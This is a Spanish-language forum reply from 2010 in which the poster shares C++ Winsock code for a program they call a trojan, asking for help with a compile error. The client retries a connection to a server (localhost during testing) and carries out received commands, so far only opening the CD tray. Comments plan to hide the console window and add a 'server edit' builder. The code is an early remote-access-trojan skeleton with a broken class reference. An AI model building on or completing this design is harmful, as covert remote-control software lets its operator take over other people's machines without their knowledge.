Ver Mensaje Individual
  #3 (permalink)  
Antiguo 01/07/2010, 14:11
Avatar de RIVERMILLOS
RIVERMILLOS
 
Fecha de Ingreso: marzo-2010
Mensajes: 1.336
Antigüedad: 14 años, 8 meses
Puntos: 15
Respuesta: ayuda con error al compilar.

Mira el codigo.

Código:
#include <winsock2.h>
#include <windows.h>
#include <iostream>
#include <mmsystem.h> 
#pragma comment(lib,"ws2_32.lib") //Para linkear la libreria del winsock
 
using namespace std;

class Main : public Keylog {
public:
   
};


int main()
{
   //ShowWindow(GetForegroundWindow(),SW_HIDE); //Esta linea sirve para ocultar la consola y poner el programa como proceso. Por ahora la dejamos asi.
   WSADATA wsa; //Si no sabes que es todo esto, leete mejor el manual xDD
   SOCKET sock;
   struct hostent *host;
   struct sockaddr_in direc;
   int conex;
   char Buffer[1024];
   int len;
   char abrir[]="abrir";
 
   //Inicializamos
   WSAStartup(MAKEWORD(2,2),&wsa);
   
   //Establememos el dominio donde nos conectaremos, por ahora ponemos 127.0.0.1 para hacer las pruevas
   host=gethostbyname("127.0.0.1"); //localhost = 127.0.0.1 ;P
  
   //creamos el socket
   sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
   if (sock==-1)
   {
      cout<<"SE HA PRODUCIDO UN ERROR";
      cout<<"/n"; //Si se produce un error al crear el socket
      main(); //Llamamos de nuevo a la función principal para seguir intentandolo
   }
    cout<<"se creo el socket"<<endl;
   //Definimos la dirección a conectar que hemos recibido desde el gethostbyname
   //y decimos que el puerto al que deberá conectar
   direc.sin_family=AF_INET;
   direc.sin_port=htons(5000); //Elegimos un puerto cualkiera, mas adelante esto lo elegirá el usuario cuando hagamos el server edit
   direc.sin_addr = *((struct in_addr *)host->h_addr);

   memset(direc.sin_zero,0,8);

   //Intentamos establecer la conexión hasta que lo logremos
   conex=connect(sock,(sockaddr *)&direc, sizeof(sockaddr));
   while (conex==-1)  
   { //Esto es lo que hará si no se puede conetar:
	   cout<<"intento de conexion"<<endl;
       Sleep(1000); //Hacemos q el programa se detenga un poco, cuando se termine el troyano conviene subir este intervalo
                   //Por ahora lo dejamos asi para hacer mas comodas las pruevas
	   conex=connect(sock,(sockaddr *)&direc, sizeof(sockaddr)); //He intentamos establecer la conexión de nuevo hasta que lo logremos.
   }
    
   len=send(sock,"hola",4,0); //Como somos muy educados saludamos xDD el 4 despues del hola indica el nº de 
	                           //caracteres a enviar
 
   while (len!=0) //Mientras que permanezcamoos conectados
   {  
     
      len = recv(sock,Buffer,1023,0); //Recibimos los datos que envie
      cout<<"recibiendo"<<endl;
      Sleep(1000);
      if (len>0)  //Si seguimos conectados...
	  {
         Buffer[len]=0; //le ponemos el final de cadena
         string x=string(Buffer,5);
         if(x=="abrir"){
            mciSendString("open CDAudio", NULL, 0, NULL); 
            mciSendString("set CDAudio door open", NULL, 0, NULL);
            len=send(sock,"ok",2,0);
     }
          cout<<endl;
         //imprimimos la cadena recibida
      }
    }
 
   main(); //Cuando nos desconectamos volvemos a llamar a main para q siga intentando conectarse
}
saludos